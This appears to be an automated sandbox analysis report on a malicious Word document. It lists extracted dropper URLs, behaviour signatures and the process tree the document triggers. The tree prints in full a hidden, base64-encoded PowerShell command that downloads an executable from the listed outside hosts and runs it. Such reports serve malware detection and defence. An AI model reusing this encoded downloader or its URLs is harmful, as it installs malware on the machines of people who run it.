Overview

overview

5

task1

 

5

Analysis

  • max time kernel
    27s
  • resource
    win10v191014
  • submitted
    13/12/2019, 21:14

Sharing

Copy URL
Twitter E-mail

General

  • Target

    09058561eaef16401489f73b856cbdff92a98c8b74ac57f8766298cacb3e0382.doc

  • Sample

    191213-3mzqlznr8e

  • SHA256

    09058561eaef16401489f73b856cbdff92a98c8b74ac57f8766298cacb3e0382

Score
5/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://thematspacifica.com/wp-content/n46j/
exe.dropper

http://surcanal.es/calendar/idI1/
exe.dropper

https://welderpicks.com/wp-admin/cais9n/
exe.dropper

https://inspiration-investment-group.co.uk/cgi-bin/l8/
exe.dropper

https://rushdafilms.com/wp-content/EhNnaEYsWg/

Signatures

  • Suspicious use of WriteProcessMemory 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\09058561eaef16401489f73b856cbdff92a98c8b74ac57f8766298cacb3e0382.doc" /o ""
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:4928
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5104
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:4296
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABKAHgAaQBrAGgAcwBpAGwAcwByAHkAeAB0AD0AJwBZAHAAbwByAGoAegBsAG8AZgB1AHUAdwAnADsAJABVAHcAbwBuAHEAZwBlAHcAbwAgAD0AIAAnADMAMAA1ACcAOwAkAFUAcwBsAHcAdQBoAGoAYQA9ACcAWABsAHMAcAB2AHoAdQBkAHgAaQAnADsAJABHAHkAdgBlAGUAcwBrAGIAZABnAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAdwBvAG4AcQBnAGUAdwBvACsAJwAuAGUAeABlACcAOwAkAFgAZAB6AHgAaQBkAHEAbQB2AD0AJwBRAHcAZwBsAHcAbwBsAG8AcAB2AGcAJwA7ACQATQBqAGIAdgBnAHMAaQBiAHEAPQAuACgAJwBuACcAKwAnAGUAJwArACcAdwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAEkARQBOAFQAOwAkAE8AegBoAGYAdgBwAG8AeABxAD0AJwBoAHQAdABwADoALwAvAHQAaABlAG0AYQB0AHMAcABhAGMAaQBmAGkAYwBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgA0ADYAagAvACoAaAB0AHQAcAA6AC8ALwBzAHUAcgBjAGEAbgBhAGwALgBlAHMALwBjAGEAbABlAG4AZABhAHIALwBpAGQASQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBlAGwAZABlAHIAcABpAGMAawBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBjAGEAaQBzADkAbgAvACoAaAB0AHQAcABzADoALwAvAGkAbgBzAHAAaQByAGEAdABpAG8AbgAtAGkAbgB2AGUAcwB0AG0AZQBuAHQALQBnAHIAbwB1AHAALgBjAG8ALgB1AGsALwBjAGcAaQAtAGIAaQBuAC8AbAA4AC8AKgBoAHQAdABwAHMAOgAvAC8AcgB1AHMAaABkAGEAZgBpAGwAbQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ARQBoAE4AbgBhAEUAWQBzAFcAZwAvACcALgAiAFMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABUAHoAagB2AGEAcwBrAG4AbABuAHUAPQAnAFgAegBnAGoAZwBwAHgAdwBiAHMAbwBuAHgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFUAcAB3AHcAdgB6AHEAagBqAHgAZAAgAGkAbgAgACQATwB6AGgAZgB2AHAAbwB4AHEAKQB7AHQAcgB5AHsAJABNAGoAYgB2AGcAcwBpAGIAcQAuACIAZABPAFcATgBsAGAAbwBgAEEAZABgAEYAaQBsAGUAIgAoACQAVQBwAHcAdwB2AHoAcQBqAGoAeABkACwAIAAkAEcAeQB2AGUAZQBzAGsAYgBkAGcAeAApADsAJABVAGEAbAByAHMAbQBlAGkAdAB2AD0AJwBRAGIAZQBpAGwAZAB6AHIAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABHAHkAdgBlAGUAcwBrAGIAZABnAHgAKQAuACIAbABFAGAATgBHAFQASAAiACAALQBnAGUAIAAyADkAMAAyADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGAAQQBSAHQAIgAoACQARwB5AHYAZQBlAHMAawBiAGQAZwB4ACkAOwAkAE8AcQBvAHEAcgBnAHUAaABjAD0AJwBUAGwAYwBkAHEAbABzAHEAbQBvAHUAbABnACcAOwBiAHIAZQBhAGsAOwAkAEsAYwBrAHkAeQBhAGwAdgB3AGEAZQB2AG0APQAnAE4AagBhAHMAaAB0AGcAaQBuAG8AeQB2AHcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQBoAHYAdQB3AHMAeABlAGUAeABoAHAAPQAnAE0AcQBmAG8AbgBiAGsAbAAnAA==
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:3840

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4928-0-0x0000020615800000-0x0000020615801000-memory.dmp

      Filesize

      4KB

      Download